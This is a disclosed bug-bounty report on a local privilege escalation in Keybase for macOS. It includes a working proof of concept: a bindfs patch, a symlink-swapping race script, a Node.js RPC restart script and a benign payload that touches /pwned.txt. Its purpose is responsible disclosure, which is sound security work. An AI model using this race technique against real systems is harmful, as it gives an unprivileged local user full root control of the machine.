Local privilege escalation bug using Keybase redirector on macOS
Discovered by votava on Keybase

This issue took 0 Days and 19 hours to triage and 40 Days and 0 hours to resolve once triaged.

There's a local privilege escalation bug in the latest version of Keybase for macOS.

The issue is in the process of launching keybase-redirector. The process works as follows:

  1. Copy keybase-redirector binary to a root-only location
  2. Check its signature
  3. Launch the binary

Code ref.

Note the following:

  1. There's a window between point 2. and 3. When the window is opened, the binary is referenced using just its path.
  2. The keybase-redirector can be a symlink pointing to an arbitrary location from the privileged location.

The goal is to replace the real binary with a symlink which will first point to the real binary (for the signature verification process) and then updated to point to an evil binary/script for the launch.

The window is tiny and thus reproducing this is a bit tricky. One can do it in many ways but the most complicated (while being the most fragile one at the same time!) is as follows:

1. Install Keybase including the Finder integration

2. Build and install bindfs with the following patch:

diff --git a/src/bindfs.c b/src/bindfs.c
index baacb82..b80e396 100644
--- a/src/bindfs.c
+++ b/src/bindfs.c
@@ -1090,6 +1090,7 @@ static int bindfs_open(const char *path, struct fuse_file_info *fi)
 static int bindfs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)
+    static int counter = 0;
     int res;
     (void) path;

@@ -1101,6 +1102,9 @@ static int bindfs_read(const char *path, char *buf, size_t size, off_t offset,
     if (res == -1)
         res = -errno;

+    printf("%i", counter++);
+    fflush(stdout);
     return res;

3. Run doit.sh.

It will first create a few symlinks. This will allow the switch between the original binary and the evil one. It will then force a restart of keybase-redirector (by uninstalling it and installing it again). Finally, it will start bindfs, watch out for "502" and switch the symlinks.



test -L /Applications/Keybase.app/Contents/SharedSupport/bin/keybase-redirector || cp /Applications/Keybase.app/Contents/SharedSupport/bin/keybase-redirector ~/exploit/keybase-redirector.orig

mkdir -p ~/switcher
ln -sf ~/switcher/switch /Applications/Keybase.app/Contents/SharedSupport/bin/keybase-redirector
ln -sf ~/switcher/keybase-redirector.orig ~/exploit/switch

(node restart-kbhelper/index.js && ls -l /pwned.txt) &

bindfs -f ~/exploit ~/switcher | while read line
  [[ $line == "502" ]] && ln -sf ~/switcher/evil.sh ~/switcher/switch



touch /pwned.txt

The restart is done using the MessagePack RPC using Node.js but you can do it in another way, it's just we had this laying around. The number 502 is a count of read requests for the FUSE file system. As you can imagine it's pretty fragile, but again, we were using bindfs anyway and this worked.


const homedir = require("os").homedir();
const rpc = require("framed-msgpack-rpc");
const socket = `${homedir}/Library/Group Containers/keybase/Library/Caches/Keybase/keybased.sock`;

const x = rpc.createTransport({ path: socket });
function restart() {
    x.connect(() => {
        const c = new rpc.Client(x, "keybase.1.install");
        c.invoke('uninstallKBFS', [{}], () => {
            c.invoke('installKBFS', [{}], (err, response) => {
                console.log(JSON.stringify(response, 0, 2));


A similar but better solution would be to simply write a custom read FUSE hook and return a different file once the original is read in the verification process. But again, the previous quick & dirty solution worked so why bother.

We recorded a video showing it in action (attached). Note that this was joint effort by Jan Votava (https://twitter.com/elektronek) and Jiri Pospisil (https://twitter.com/jiripospisil) from https://sensible.io.


A local user is able to run an arbitrary binary/script with root privileges leading to a total system compromise.